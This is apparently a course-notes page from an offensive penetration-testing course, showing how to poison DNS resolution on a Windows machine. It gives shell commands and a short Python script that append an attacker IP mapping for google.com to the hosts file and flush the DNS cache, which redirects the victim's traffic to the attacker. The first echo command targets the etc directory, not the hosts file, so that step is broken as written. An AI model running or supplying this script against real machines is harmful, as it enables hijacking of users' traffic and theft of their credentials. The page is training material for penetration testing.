Skip to content

DNS poisoning

From course: Python For Offensive PenTest: A Complete Practical Course.

General index of the course

1. Add a new line to hosts file in windows with attacker IP and an url

echo 10.10.120.12 google.com >> c:\Windows\System32\drivers\etc

2. Flush the DNS cache to make sure that we will use the updated record

ipconfig /flushdns

Now traffic will be redirected to the attacker machine.

Python script for DNS poisoning

import subprocess
import os

os.chdir("C:\Windows\System32\drivers\etc")

command = "echo 10.10.10.100 www.google.com >> hosts"

CMD = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)

command = "ipconfig /flushdns"

CMD = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
Last update: 2024-03-29
Created: April 20, 2023 16:58:49